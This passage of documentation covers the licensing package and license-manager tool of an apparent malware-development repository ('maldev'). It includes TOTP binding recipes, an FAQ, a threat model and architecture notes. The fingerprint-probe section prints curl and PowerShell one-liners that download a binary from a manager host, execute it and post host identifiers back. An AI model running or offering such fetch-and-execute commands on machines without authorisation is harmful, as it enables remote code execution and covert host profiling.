-H "Authorization: Bearer $TOKEN" \
-d '{"add":["73f56081-5cce-4073-9632-..."]}'
# Annuler :
curl -X POST https://lic.example.com/revoked.pem \
-H "Authorization: Bearer $TOKEN" \
-d '{"remove":["73f56081-5cce-4073-9632-..."]}'
Sécurité
Le check côté handler utilise subtle.ConstantTimeCompare indirectement (via strings.HasPrefix + comparaison) — un attaquant qui brute-force ne peut pas exploiter de timing. Mais c'est juste un Bearer token : ne le laisse pas fuiter dans des logs HTTP, des screenshots, ou un repo public.
Recette 18
TOTP comme second facteur — provisioning QR code + vérification.
Le binding BindTOTP ajoute une exigence "code à 6 chiffres" au démarrage du binaire. L'utilisateur scanne un QR code une fois (avec Google Authenticator, Authy, Yubico Authenticator, 1Password, etc.), puis tape le code courant à chaque démarrage.
a. Provisionnement (côté émetteur)
package main
import (
"fmt"
"log"
"os"
"time"
"github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/totp"
)
func main() {
priv, _ := license.LoadPrivateKey("./issuer.key")
// 1. Génère un secret 20 octets (format authenticator standard).
secret, err := totp.NewSecret()
if err != nil {
log.Fatal(err)
}
// 2. Émet la licence avec le binding TOTP.
data, err := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1",
Subject: "alice@example.com",
NotAfter: time.Now().Add(90 * 24 * time.Hour),
Bindings: []license.Binding{license.BindTOTP(secret)},
})
if err != nil {
log.Fatal(err)
}
license.SaveLicense("./alice.license", data)
// 3. Affiche le QR code en ASCII dans le terminal pour scan immédiat.
ascii, _ := totp.QRImageASCII(secret, "alice@example.com", "rshell")
fmt.Println("Scanne ce QR avec ton authenticator (Google Authenticator, Authy, etc.):")
fmt.Println()
fmt.Println(ascii)
// 4. Ou sauvegarde en PNG pour envoi sécurisé une seule fois.
_ = totp.WriteQRImagePNG("./alice-totp.png", secret, "alice@example.com", "rshell", 256)
fmt.Println("PNG aussi écrit dans ./alice-totp.png (à transmettre par canal sécurisé, à détruire après scan).")
// 5. (Optionnel) imprime le secret en clair pour saisie manuelle si le scan échoue.
fmt.Printf("\nSecret (à saisir manuellement si le scan ne marche pas) : %s\n", secret)
_ = os.Stdin // hint au compilateur que os est utilisé
}
Sortie attendue (le QR fait ~50×50 caractères "█" et espaces, lisible sur un terminal large) :
Scanne ce QR avec ton authenticator (Google Authenticator, Authy, etc.):
████████████████████ ██ ██████ ██████████████
██ ██ ████ ████ ██ ████ ██████
██ ██████ ████ ██ ██ ██ ████ ██████ ██
...
b. Vérification (côté binaire)
package main
import (
"bufio"
"fmt"
"log"
"os"
"strings"
"github.com/oioio-space/maldev/license"
)
func main() {
pub, kid, _ := license.LoadPublicKey("issuer.pub")
// Demande le code à l'utilisateur.
fmt.Print("Code TOTP (6 chiffres) : ")
scanner := bufio.NewScanner(os.Stdin)
scanner.Scan()
code := strings.TrimSpace(scanner.Text())
_, err := license.VerifyFile("./alice.license",
license.Trusted{Keys: license.SingleKey(kid, pub)},
license.WithTOTPCode(code),
)
if err != nil {
log.Fatal("ACCESS DENIED — code incorrect ou licence invalide")
}
fmt.Println("Autorisé.")
}
Garanties et limites — sois transparent
| Garantie | Détail |
|---|---|
| ✅ Le code change toutes les 30 secondes | Un screenshot ou un copier-coller a une durée de vie courte. |
| ✅ Tolérance ±1 fenêtre (30s) | Absorbe une légère désynchronisation d'horloge. |
| ✅ Comparaison en temps constant | Pas de timing leak. |
| ⚠️ Le secret est dans la licence | Quelqu'un qui détient le fichier .license peut extraire le secret et reproduire les codes. C'est un speed bump, pas une vraie 2FA. |
| ⚠️ Pas de protection contre le partage volontaire | Si l'utilisateur scanne et donne son authenticator à un tiers, le tiers peut générer des codes. |
Quand utiliser : ajouter une friction supplémentaire en plus de BindPassword. Un attaquant qui obtient seulement le fichier .license doit encore extraire le secret et le saisir dans son propre authenticator avant de produire un code — l'utilisateur légitime ne fait que taper 6 chiffres.
Quand ne pas utiliser : si la menace inclut un attaquant qui a déjà la licence (vol de fichier), TOTP seul ne change rien. Combine alors avec :
pwBinding, _ := license.BindPassword("strong-passphrase-known-only-by-user")
totpBinding := license.BindTOTP(secret) // secret stocké dans la licence MAIS le code change
Bindings: []license.Binding{pwBinding, totpBinding}
L'attaquant doit avoir : la licence, le mot de passe (non stocké côté disque), ET un authenticator configuré avec le secret.
API helpers (cheatsheet)
| Fonction | Quand l'utiliser |
|---|---|
license.GenerateKey() | Crée une paire Ed25519 en RAM. |
license.GenerateAndSave(dir, kid) | Génère + écrit issuer.key (0600) et issuer.pub (0644). |
license.SavePrivateKey(path, priv) | PEM MALDEV PRIVATE KEY, atomique, 0600. |
license.LoadPrivateKey(path) | Lit + parse. |
license.SavePublicKey(path, pub, kid) | PEM MALDEV PUBLIC KEY avec header KID:. |
license.LoadPublicKey(path) | Renvoie (pub, kid). |
license.SingleKey(kid, pub) | Sucre pour map[string]ed25519.PublicKey{kid: pub}. |
license.New(priv, sub, ttl) | Émission one-liner. |
license.Issue(IssueOptions{...}) | Émission complète. |
license.SaveLicense(path, data) | Écrit le PEM MALDEV LICENSE. |
license.LoadLicense(path) | Lit les bytes (à passer à Verify). |
license.Verify(data, trusted, ...) | Vérification bytes-in. |
license.VerifyFile(path, trusted, ...) | Vérification fichier-in. |
license.Inspect(data) | Parse sans signature — diagnostic uniquement. |
license.HashFile(path) | sha256 hex d'un fichier (→ BinarySHA256). |
license.HashIdentity(b) | sha256 hex d'octets (→ IdentitySHA256). |
license.MarshalPayload(v) | Encode n'importe quel objet Go en JSON pour IssueOptions.Payload. |
(*Verified).Decode(target) | Désérialise le payload dans *target (style json.Unmarshal). |
license.PayloadAs[T](v) | Désérialise le payload en *T typé (générique). |
license.ErrNoPayload | Sentinel retourné si la licence n'a pas de payload. |
license.BindMachineIDs(...) | Binding liste OU. |
license.BindPassword(p) | Binding password (argon2id, params défauts). |
license.BindPasswordWithParams(p, params) | Binding password avec paramètres argon2id explicites. |
license.DefaultArgon2idParams() | Copie des params argon2id par défaut, prête à override. |
(*Verified).HasFeature(name) | Vérifie un entitlement de License.Features. |
hostid.Composite() | Fingerprint multi-sources (Local() + CPU brand + MAC primaire). |
license.BindTOTP(secret) | Binding RFC 6238 TOTP (6 chiffres, ±30 s). |
license.BindCustom(name, v...) | Binding custom k/v. |
license.RegisterVerifier(name, fn) | Hook pour types de binding custom. |
license.WithTOTPCode(code) | Évidence pour BindTOTP. |
totp.NewSecret() | Nouveau secret 20 octets base32. |
totp.Code(secret, t) | Calcule un code à une date donnée. |
totp.Verify(secret, code, skew) | Vérifie un code avec tolérance. |
totp.URI(secret, account, issuer) | Construit l'URI otpauth://. |
totp.QRImagePNG(secret, ...) | Image PNG du QR. |
totp.QRImageASCII(secret, ...) | Représentation ASCII (terminal). |
totp.WriteQRImagePNG(path, ...) | Écrit le QR PNG sur disque. |
license.ParsePublicKey([]byte) | Variante "bytes-in" pour //go:embed. |
license.ParsePrivateKey([]byte) | Variante "bytes-in". |
Référence des champs
Documentation détaillée champ par champ dans license-framing.md.
License — FAQ
Questions et réponses pratiques.
Démarrage
Quel est le code minimal côté binaire ?
pub, kid, _ := license.LoadPublicKey("issuer.pub")
if _, err := license.VerifyFile("user.license",
license.Trusted{Keys: license.SingleKey(kid, pub)}); err != nil {
log.Fatal("ACCESS DENIED")
}
Côté émetteur :
license.GenerateAndSave("./keys", "k1") // une fois
data, _ := license.New(priv, "alice@example.com", 30*24*time.Hour)
license.SaveLicense("./alice.license", data)
Faut-il un serveur ou une base de données ?
Non. Le mode hors-ligne est le mode par défaut. Une licence est un fichier autonome ; la vérification ne fait aucun appel réseau. Le serveur n'est nécessaire que si tu veux la révocation à distance (WithRevocation) ou le heartbeat (WithHeartbeat).
Quelles dépendances le package ajoute-t-il ?
golang.org/x/crypto (argon2, hkdf, chacha20poly1305, curve25519) — déjà présent dans le go.sum du repo. Aucune autre dépendance externe.
Cas d'usage courants
Donner accès à un testeur pour 1 mois
data, _ := license.New(priv, "tester@example.com", 30*24*time.Hour)
license.SaveLicense("./tester.license", data)
Au bout de 30 jours, le binaire refuse automatiquement.
Donner accès à plusieurs testeurs, chacun individuellement révocable
Émets une licence par testeur. Chaque licence a un ID distinct (UUID v4 généré à l'émission). Pour révoquer Alice sans affecter Bob, mets l'ID d'Alice dans la revocation list.
Voir Recette 11 pour la génération en batch.
Limiter une licence à une machine spécifique
import "github.com/oioio-space/maldev/license/hostid"
// Sur la machine cible :
me, _ := hostid.Local()
fmt.Printf("%x\n", me) // → tu envoies cette valeur à l'émetteur
// Côté émetteur :
Bindings: []license.Binding{
license.BindMachineIDs(string(me)),
},
Voir Recette 3.
Période d'essai gratuite
NotAfter = time.Now().Add(14 * 24 * time.Hour) à l'émission. Le binaire refuse après. Voir Recette 9 pour un essai par utilisateur.
Niveaux de licence (basic / pro / enterprise)
Mets le tier dans le payload signé :
type Tier struct {
Level string `json:"level"`
Features []string `json:"features"`
}
raw, _ := license.MarshalPayload(Tier{Level: "pro", Features: []string{"export", "api"}})
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1", Subject: "client",
NotAfter: time.Now().Add(365 * 24 * time.Hour),
Payload: raw,
})
Côté binaire :
v, _ := license.Verify(data, trusted)
tier, _ := license.PayloadAs[Tier](v)
if !slices.Contains(tier.Features, "export") {
return errors.New("feature not available in your tier")
}
Voir Recette 10.
Embarquer la clé publique dans le binaire
Utilise //go:embed + license.ParsePublicKey([]byte). Toutes les fonctions de chargement ont une variante bytes-in :
//go:embed issuer.pub
var issuerPub []byte
pub, kid, _ := license.ParsePublicKey(issuerPub)
Recette complète : Recette 16.
Que distribuer, que garder secret
| Clé | Statut | Distribuer ? |
|---|---|---|
Privée (MALDEV PRIVATE KEY) | Secret absolu | Jamais. Hors-ligne, HSM si possible. |
Publique (MALDEV PUBLIC KEY) | Information publique | Oui — commit, embed, README. |
Détails : concepts.md § Quelle clé distribuer.
Comment générer un MALDEV_ADMIN_TOKEN ?
C'est un Bearer token aléatoire (≥ 128 bits) qui authentifie les requêtes admin du serveur de révocation.
openssl rand -base64 32
Stockage via variable d'environnement ou secrets manager. Recette complète avec PowerShell / Python / Go : Recette 17.
Ajouter un second facteur TOTP
secret, _ := totp.NewSecret()
data, _ := license.Issue(license.IssueOptions{
Bindings: []license.Binding{license.BindTOTP(secret)},
...
})
fmt.Println(totp.QRImageASCII(secret, "alice", "rshell"))
Au verify, l'utilisateur fournit le code courant via WithTOTPCode("123456"). Le secret est stocké dans la licence (speed bump, pas vraie 2FA — voir Recette 18 pour les détails).
Plusieurs binaires partagent la même clé publique
C'est le cas typique. Une seule paire de clés émet pour rshell, memscan, etc. Utilise Audience pour scoper :
// licence rshell-only :
license.Issue(license.IssueOptions{Audience: []string{"rshell"}, ...})
// dans chaque binaire :
license.Verify(data, trusted, license.WithAudience("rshell"))
Voir Recette 14.
Sécurité
Une licence peut-elle être modifiée pour repousser la date d'expiration ?
Non. La signature Ed25519 couvre tous les champs, y compris NotAfter. Toute modification invalide la signature et Verify rejette.
Et si quelqu'un patche Verify dans le binaire ?
C'est possible et hors scope du package. Le package suppose l'intégrité du binaire. Pour résister à ce scénario, combine avec :
- Le
cmd/packerdu repo (chiffrement du.text) - Une signature OS (Authenticode sur Windows, Apple Notarization sur macOS)
- Des techniques d'anti-tamper externes
Comment est stocké un mot de passe lié à une licence ?
En argon2id(password, salt) — fonction de dérivation lente conçue contre le brute-force. La licence contient hash + salt, jamais le mot de passe. Paramètres : t=3, m=64 MiB, p=4. Une tentative coûte environ 100 ms.
Le contenu d'une licence est-il confidentiel ?
Non. Le PEM est trivialement décodable (base64 -d). Toute personne qui détient une licence peut lire Subject, Issuer, Audience, NotAfter, et le contenu de Payload. Pour du confidentiel, utilise SealedPayload (chiffré X25519 + XChaCha20-Poly1305 pour un destinataire spécifique). Voir Recette 8.
L'utilisateur peut-il modifier l'horloge système pour contourner NotAfter ?
Pas indéfiniment. Avec WithStateFile(path) + WithStateHostID(hostid.Local), le binaire mémorise dans un fichier HMAC :
- le plus récent
time.Now()observé localement, - le plus récent
server_timesigné par la revocation list ou le heartbeat.
Un time.Now() antérieur déclenche causeClockRollback. L'utilisateur peut effacer le state file, mais le prochain contact serveur rétablit le plancher signé. Sans aucun contact serveur, la protection se limite au "plus récent local observé".
Que faire si ma clé privée fuite ?
- Génère une nouvelle paire avec un nouveau
KeyID(ex.k2026-05-emergency). - Release des binaires avec les deux clés publiques dans
Trusted.Keys. - Émets de nouvelles licences avec le nouveau
KeyID. - Révoque toutes les licences signées par l'ancienne clé.
- Attends la fin de la fenêtre de migration.
- Release suivante : retire l'ancienne clé publique de
Trusted.Keys.
Voir Recette 7.
Que se passe-t-il si une licence légitime fuite ?
Mets son ID dans la revocation list (POST /revoked.pem avec ton admin token). Au prochain refresh de la liste (configurable, typ. 24h), tous les binaires refuseront.
Comportements et limites
Combien de licences puis-je émettre ?
Pas de limite pratique. Chaque licence a un UUID v4 (2^122 valeurs) — collision impossible.
Quelle taille fait une licence ?
500–1500 octets pour une licence typique. Limite dure : MaxLicenseSize = 16 KiB. Au-delà, refus avant parse.
Combien coûte un Verify ?
| Configuration | Coût typique |
|---|---|
| Minimal (signature + dates) | < 1 ms |
| + binding password (argon2id) | ~100 ms |
| + revocation HTTP | dépend du réseau (50-500 ms) |
| + heartbeat HTTP | idem |
| + binary pinning | ~10 ms première fois, 0 après (cached via sync.Once) |
Pour les binaires lancés en boucle, fais Verify une fois au démarrage et cache le résultat.
Linux ? macOS ? Windows ?
Les trois. license/hostid a des sources d'identifiant par plateforme :
- Windows :
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid - Linux :
/etc/machine-id(fallback/var/lib/dbus/machine-id) - macOS :
IOPlatformUUIDviaioreg
Le reste du package est pure Go stdlib + golang.org/x/crypto.
Et si l'utilisateur n'a pas de réseau ?
Mode hors-ligne pur : n'utilise ni WithRevocation ni WithHeartbeat. La licence est auto-suffisante jusqu'à NotAfter.
Mode hybride : WithRevocation(...) + WithGracePeriod(7*24*time.Hour). Le binaire tolère 7 jours sans contact serveur, après quoi il refuse.
Que se passe-t-il si le state file n'est pas accessible en écriture ?
Le state file est optionnel (activé par WithStateFile). Sans état, tu perds la détection anti-rollback d'horloge mais le reste fonctionne. Une erreur d'écriture du state file logue un warning et ne refuse pas la licence.
Mon CI tourne dans un container minimal sans /etc/machine-id
Le binding machine est optionnel. Pour le CI ou les tests, ne l'utilise simplement pas. Tu peux aussi injecter une valeur connue via WithMachineID([]byte("ci-runner")).
Debug
Le binaire affiche "license: verification failed", comment connaître la cause ?
Le message est volontairement opaque — il ne dit pas pourquoi le check a échoué pour ne pas guider un attaquant. La cause précise va dans le logueur :
import "log/slog"
logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{Level: slog.LevelDebug}))
license.Verify(data, trusted, license.WithLogger(logger))
Tu verras WARN license verify failed cause=binding-machine-mismatch ou équivalent.
Causes les plus fréquentes
| Cause | Sens | Action |
|---|---|---|
expired | dépassé NotAfter | inspecter avec license.Inspect(data) |
binding-machine-mismatch | mauvaise machine | comparer hostid.Local() aux IDs autorisés |
binding-password-mismatch | mauvais mot de passe | re-saisir |
unknown-key | Trusted.Keys ne contient pas le KeyID | mettre à jour la clé publique embarquée |
bad-signature | licence modifiée OU mauvaise clé publique | vérifier qu'on utilise la bonne issuer.pub |
bad-format | PEM corrompu ou JSON invalide | re-télécharger la licence |
audience-mismatch | mauvaise Audience | vérifier que WithAudience("X") matche License.Audience |
clock-rollback | horloge système avant trusted_floor | corriger l'horloge ou (debug) supprimer le state file |
revoked | licence sur la revocation list | obtenir une nouvelle licence |
Une licence "passe" Inspect mais échoue à Verify
C'est normal. Inspect lit le contenu sans vérifier la signature — c'est un outil de diagnostic. Si Verify rejette avec bad-signature, soit la licence a été modifiée, soit tu utilises la mauvaise clé publique.
Tester sans infrastructure
N'active pas WithRevocation ni WithHeartbeat. La vérification hors-ligne suffit pour tester la logique d'émission, les bindings, les dates, l'audience. Voir Recette 13.
Performance & opérations
Capacité du serveur de révocation
Stateless, signe la liste à chaque requête. Sur un VPS modeste, plusieurs milliers de requêtes/s. Signature Ed25519 de quelques KiB : < 1 ms.
Limite du nombre d'IDs dans une revocation list
Pas de limite dure. Côté client, le source HTTP limite à 1 MiB par réponse (~25 000 IDs). Au-delà, segmente avec revoke.MultiSource.
Logs côté production
Le logueur reçoit chaque succès et chaque échec en JSON structuré. Recommandation : pipe vers ton stack d'observabilité (Loki, ELK, Splunk) et alerte sur cause=clock-rollback ou cause=binding-password-mismatch répétés (indices d'abus).
Voir aussi
License package — Threat model
This page expands §10 of the design spec. Each row covers one threat class, the mitigation implemented in the package, and the residual risk.
Threat matrix
| # | Threat | Mitigation in this package | Residual risk / out of scope |
|---|---|---|---|
| 1 | License forgery — attacker constructs a valid-looking license without the private key | Ed25519 signature (256-bit security, deterministic). Verify rejects any body whose signature does not match. | Compromised private key. Mitigation: key rotation (Step 7 in workflow.md), air-gapped issuance (future: HSM). |
| 2 | Field tampering — attacker modifies Subject, NotAfter, or any other field after issuance | Signature covers the entire canonical JSON body. A single changed byte invalidates the signature. | None within this package. |
| 3 | Replay across audiences — attacker uses a rshell license in memscan-server | aud field is signed. WithAudience(...) rejects the license if the caller-provided audience is not in the signed list. | An operator who issues with an empty aud (wildcard). The package warns but does not reject. |
| 4 | Cross-binary reuse — attacker copies a license from one binary to another | BinarySHA256 pins the exact on-disk hash. IdentitySHA256 pins the embedded identity bytes. WithBinaryPinning() enables both checks. | Attacker simultaneously replaces both the binary and its embedded identity blob. Mitigation: pack + code-sign the binary. |
| 5 | Stale-cache substitution — attacker replaces the local revocation-list cache with an older copy | Revocation list carries a monotonic Sequence. Verify rejects any fetched list whose sequence regresses below LastSeenSequence in the state file. | State file deletion. The package resets state to zero and logs a warning; the attacker gains one grace period window. |
| 6 | Revocation server downtime — attacker takes the revocation server offline to prevent revocation delivery | Signed ExpiresAt in the revocation list. After LastFetchOk + gracePeriod expires the binary stops running (causeRevocationStale). | Operator must choose a grace period short enough to match the security model. Default: none (operator configures). |
| 7 | Password brute-force — attacker iterates passwords against the binding hash | Argon2id (64 MiB, t=3, p=4, 32-byte output). ~100 ms per attempt on 2024 hardware; GPU acceleration still bottlenecked by memory requirements. | Offline attack against the full PEM file. Mitigation: keep license files off publicly accessible paths. |
| 8 | Side-channel binding discrimination — attacker determines which constraint failed to guide enumeration | ErrLicenseInvalid is a single opaque sentinel. The internal 17-value cause enum is never serialised into the error or the PEM file. | Timing side-channels between fast checks (audience) and slow checks (argon2id). The package does not add artificial delays. In practice argon2id dwarfs all other step timings. |
| 9 | Clock rollback — attacker sets the system clock backward to bypass NotAfter | TrustedFloor = max(observed heartbeat times, observed revocation ServerTime). Verify rejects if now < TrustedFloor - skew. | Air-gapped machine that never contacts the online checks retains only LastSeenLocal monotonicity. No TPM anchor. |
| 10 | Algorithm confusion — attacker substitutes a signature generated by a different algorithm | Domain separation: the signed payload is `"maldev-license-v1\x00" | |
| 11 | Key rotation gap — operator removes old public key before old licenses expire | Trusted is a map; old keys remain valid as long as the operator keeps them present. The workflow documents the retention rule. | Human error. There is no automated key-expiry warning. |
| 12 | Heartbeat nonce replay — attacker captures a heartbeat reply and replays it | Heartbeat reply carries a random 16-byte nonce echo. Verify performs subtle.ConstantTimeCompare(reply.NonceEcho, nonce). A captured reply has the wrong nonce for the next call. | TOCTOU: an attacker racing the live binary's heartbeat call. Mitigation: TLS on the heartbeat endpoint. |
| 13 | Machine ID spoofing — attacker clones the MachineGuid / /etc/machine-id of a licensed host | hostid.Local() mixes multiple OS sources via sha256. All sources must match for the fingerprint to agree. | Attacker with root/SYSTEM can rewrite all sources. Full OS compromise is out of scope. |
| 14 | State file HMAC forgery — attacker writes a crafted state file to reset TrustedFloor | HMAC key is `HKDF(license_signature | |
| 15 | DoS via oversized input — attacker supplies a 100 MB PEM file to exhaust memory | MaxLicenseSize = 16 KB. Verify rejects oversized input before any JSON parsing. | None within this package. |
| 16 | JSON parse panic — attacker supplies malformed bytes crafted to trigger a decoder panic | jsonUnmarshalStrict uses json.NewDecoder with DisallowUnknownFields. Standard library decoder; no known panic paths on adversarial input. | Future Go stdlib vulnerabilities. Mitigated by updating the Go toolchain. |
| 17 | Sealed payload decryption — attacker reads the sealed config blob in the license | seal.Seal uses X25519 ephemeral key agreement + ChaCha20-Poly1305 AEAD. Only the holder of the recipient private key can open it. | Recipient private key compromise. Out of scope for this package. |
Explicit non-goals (documented limitations)
The following threats are out of scope for v1. Each has a documented mitigation path:
| Threat | Why out of scope | Mitigation path |
|---|---|---|
| Binary anti-tamper / anti-debug | The evasion/ packages cover this independently | Pack with cmd/packer + code-signing |
| Verify bypass via binary patching | Any sufficiently motivated attacker with code execution can patch return nil into the function | Use cmd/packer obfuscation; this is the fundamental limitation of software licensing |
| Seat counting (max N machines simultaneously) | Requires a stateful server with session accounting | v2: DB-backed server with session table |
| Perfect clock anti-rollback | Would require TPM/enclave endorsement keys | v2: TPM binding; current code is best-effort offline |
| Sub-license / delegated issuance | Signature chains with inherited constraints | v2 scope |
| HSM / PKCS#11 issuance | Key stored in YubiKey or hardware module | v2: license/hsm sub-package |
See also
- Operator workflow — step-by-step key generation, issuance, revocation
- License framing tech-md — conceptual overview, vocabulary, Mermaid flow
License Manager — Concepts
This page describes the architecture of license-manager, its data
model, and its security mechanisms. For operational recipes, jump
straight to the Cookbook. For runnable code, see
examples/license-manager/.
Concept index
Each notion below has a dedicated page that links back here AND to the example program that exercises it:
| Notion | Page | Demonstrated in |
|---|---|---|
| Issuer (Ed25519 signing key) | concepts/issuer.md | 01-issue-basic |
| KEK & passphrase cascade | concepts/kek-passphrase.md (coming) | — |
| Bindings (machine / password / TOTP) | concepts/bindings.md (coming) | 02-issue-with-bindings (coming) |
| CRL (Certificate Revocation List) | concepts/crl.md (coming) | 03-revoke-and-crl (coming) |
| Audit chain | concepts/audit-chain.md (coming) | every example |
| Argon2id preset | concepts/argon-preset.md (coming) | 02-issue-with-bindings |
| Sealed payload (X25519) | concepts/sealed-payload.md (coming) | 07-sealed-payload (coming) |
| Identity pin (host SHA-256) | concepts/identity-pin.md (coming) | 08-identity-pin (coming) |
Overview
license-manager is a local-first command-line tool (with a
bubbletea TUI) that centralises the full life cycle of maldev
research licences without leaving the terminal. It builds on the
license/ package for cryptographic issuance
and verification, then adds:
- A persistence layer (SQLite + per-column encryption).
- Three optional HTTP servers (revocation, heartbeat, probe).
- A fingerprint probe mechanism to capture the
hostidof a remote machine.
The manager is an operator tool, not a defensive primitive —
it carries no MITRE ATT&CK ID. It lives in cmd/license-manager/
with the backend in internal/manager/.
The backend API is exposed via *service.Services. The TUI and
any other frontend consume this struct — they never touch the
store layer or crypto directly.
Layered architecture
flowchart TB
A["cmd/license-manager<br/>(flags, boot, TUI)"]
B["internal/manager/service<br/>(IssuerService, LicenseService,<br/>RevokeService, ProbeService, …)"]
C["internal/manager/httpsrv<br/>(RevocationServer, HeartbeatServer,<br/>ProbeServer, Bundle)"]
D["internal/manager/store<br/>(ENT client, Store wrapper, migrations)"]
E["internal/manager/crypto<br/>(KEK derivation, ChaCha20-Poly1305)"]
F["internal/manager/probe<br/>(agent embed, ServeAgent, AgentResult)"]
A --> B
A --> C
B --> D
B --> E
C --> B
C --> F
D --> E
| Layer | Role | Dependencies |
|---|---|---|
crypto | KDF (Argon2id) + AEAD (ChaCha20-Poly1305) | golang.org/x/crypto |
store | SQLite persistence via ENT, auto-migrations | crypto, entgo.io/ent, modernc.org/sqlite |
service | Business logic, atomic audit trail | store, crypto, license/* |
httpsrv | Hot-startable / stoppable HTTP servers | service, probe |
cmd | Boot, passphrase resolution, wiring, TUI | everything above |
Encryption at rest
The operator's passphrase never touches the DB. It is used only to derive a KEK (Key Encryption Key) through Argon2id.
passphrase + kek_salt (16 bytes, stored in plaintext in Setting)
→ Argon2id(time=3, memory=64 MiB, threads=4, keylen=32)
→ KEK (32 bytes, in RAM only)
The KEK then wraps each sensitive column with ChaCha20-Poly1305:
[12-byte random nonce] || [ciphertext] || [16-byte AEAD tag]
Encrypted columns
| Table | Column | Contents |
|---|---|---|
Issuer | encrypted_priv | Ed25519 private key (64 bytes) |
RecipientKey | encrypted_priv | X25519 private key (32 bytes) |
TOTPSecret | encrypted_secret | TOTP secret (base32) |
ServerConfig | revocation_admin_token_enc | Revocation-server admin token |
Plaintext columns
Everything else — licence PEMs, subjects, probe results, identities, audit events. Rationale: this data can be reconstructed from the issued licences and cannot be used to forge new ones.
Canary check
A Setting.kek_canary = KEK.Wrap(random32) block is written when
the DB is created. On every startup we try KEK.Unwrap(canary) —
failure means the passphrase is wrong. Three attempts, then exit.
The KEK is zeroed (KEK.Wipe()) on a clean shutdown.
Startup cycle
Passphrase resolution follows a strict cascade. The first source that yields a non-empty value wins; later sources are ignored:
1. flag --passphrase-file <path> → read file, trim whitespace
2. env MALDEV_MGR_PASSPHRASE_FILE → read the file named by the var
3. env MALDEV_MGR_PASSPHRASE → direct value
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. fallback: interactive TUI prompt (masked modal)
If the DB does not yet exist, the first-launch wizard fires: choose passphrase, generate KEK salt, store canary, create the first issuer.
If the DB exists, the canary check runs immediately. Failure = wrong passphrase.
The three HTTP servers
All three are OFF by default. Each must be started explicitly
by the operator (TUI or SettingsService.UpdateServerConfig). A
confirmation modal fires on quit when one or more servers are
running (controlled by Setting.confirm_quit_with_servers); when
Setting.stop_servers_on_exit is on the manager auto-drains them
before tea.Quit.
| Server | Default port | Main endpoints | Role |
|---|---|---|---|
| Revocation | :8443 | GET /revoked.pem | Publishes the CRL signed by the active issuer |
| Heartbeat | :8444 | GET /heartbeat | Returns ok: true if the licence is active |
| Probe | :8445 | GET /probe/<tok>/agent[/<os-arch>]GET /probe/<tok>/snippetPOST /probe/<tok>/result | Distributes the fingerprint agent and collects results |
All three implement the httpsrv.Server interface:
type Server interface {
Name() string
Start(ctx context.Context) error
Stop(timeout time.Duration) error
Status() Status
Events() <-chan Event
}
Bundle.MergedEvents() fans the three event channels into one
for the TUI.
Fingerprint probe
The fingerprint probe lets the operator capture hostid.Local()
and hostid.Composite() from a remote machine without leaving a
permanent tool installed there.
sequenceDiagram
autonumber
participant Op as "Operator"
participant Mgr as "license-manager"
participant Remote as "Remote machine"
Op->>Mgr: ProbeService.NewToken(label, ttl)
Mgr-->>Op: token + base URL
Op->>Mgr: GET /probe/<tok>/snippet
Mgr-->>Op: curl / PowerShell one-liner
Op->>Remote: paste the one-liner
Remote->>Mgr: GET /probe/<tok>/agent/linux-amd64
Mgr-->>Remote: probe binary (//go:embed)
Remote->>Remote: hostid.Local() + Composite()
Remote->>Mgr: POST /probe/<tok>/result (JSON)
Mgr->>Mgr: ProbeService.ConsumeToken(→ DB + channel)
Mgr-->>Op: real-time notification (chan *ProbeToken)
Agent binaries are pre-built for 5 targets (linux-amd64,
linux-arm64, darwin-amd64, darwin-arm64, windows-amd64) and
embedded via //go:embed. The agent itself is ~80 lines of Go:
collect the fingerprints, POST the JSON, exit.
One-liner served by /snippet:
# Linux / macOS
URL="https://<manager>:<port>/probe/<token>"
curl -fsSL "$URL/agent/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')" \
-o /tmp/maldev-probe && chmod +x /tmp/maldev-probe \
&& /tmp/maldev-probe "$URL/result"
# Windows PowerShell
$URL = "https://<manager>:<port>/probe/<token>"
Invoke-WebRequest "$URL/agent/windows-amd64" -OutFile $env:TEMP\maldev-probe.exe
& "$env:TEMP\maldev-probe.exe" "$URL/result"
Data model
11 ENT entities, SQLite schema. All times are UTC.
| Entity | Role | Main FKs |
|---|---|---|
Issuer | Ed25519 key pair + metadata | — |
License | Issued licence (PEM + metadata) | → Issuer |
Revocation | Revocation record | → License (1:1) |
Identity | 32 random bytes for identity pinning | — |
RecipientKey | X25519 pair for sealed payloads | — |
TOTPSecret | Encrypted TOTP secret | → License |
ProbeToken | Token + fingerprint-probe result | — |
ServerConfig | Singleton (PK=1) — three servers' config | — |
Setting | Singleton (PK=1) — operator preferences, KEK salt/canary | — |
AuditEvent | Immutable trace of every mutation | indexes on target_id, created_at |
Notable License indexes: subject, status, not_after,
identity_sha256, (issuer_id, status).
Audit trail
Every mutating service method writes the business row and an
AuditEvent in the same SQLite transaction. It is impossible to
issue, revoke, or pivot a key without leaving a trace.
Event shape:
{
"kind": "license.issue",
"target_kind": "License",
"target_id": "<uuid>",
"actor": "mathieu",
"payload": { "subject": "alice@example.com", "not_after": "2026-12-31T00:00:00Z" },
"created_at": "2026-05-20T14:00:00Z"
}
kind follows the <entity>.<action> shape: license.issue,
license.revoke, license.delete, license.supersede,
issuer.create, issuer.retire, issuer.delete,
identity.create, probe.token_created, probe.result, …
See also
Concepts — index
Conceptual pages that explain ONE notion each. Linked from
concepts.md (the architecture overview) and
from the runnable examples that exercise the notion.
| Page | Notion |
|---|---|
| issuer.md | Ed25519 signing keys, active vs retired, key-id routing |
| bindings.md | machine / password / TOTP / custom evidence + AND semantics |
| crl.md | Signed revocation list, freshness invariants, cache downgrade defence |
| audit-chain.md | Atomic audit-with-mutation, immutable trail |
| kek-passphrase.md | Argon2id → KEK → ChaCha20-Poly1305 column wrapping, passphrase cascade |
Coming:
argon-preset.md— the fast / default / paranoid tuning curve for password bindings.sealed-payload.md— X25519 sealed boxes for per-recipient payload encryption.identity-pin.md— host SHA-256 identity pinning vs machine bindings.
These three exist on the main concepts index with placeholder cross-links; the dedicated pages land alongside the matching examples in the next batch.
Issuer
An issuer is the Ed25519 key pair that signs licences. Every licence carries the
key-idof the issuer that signed it; verify needs that issuer's public key to validate the signature.
Glossary
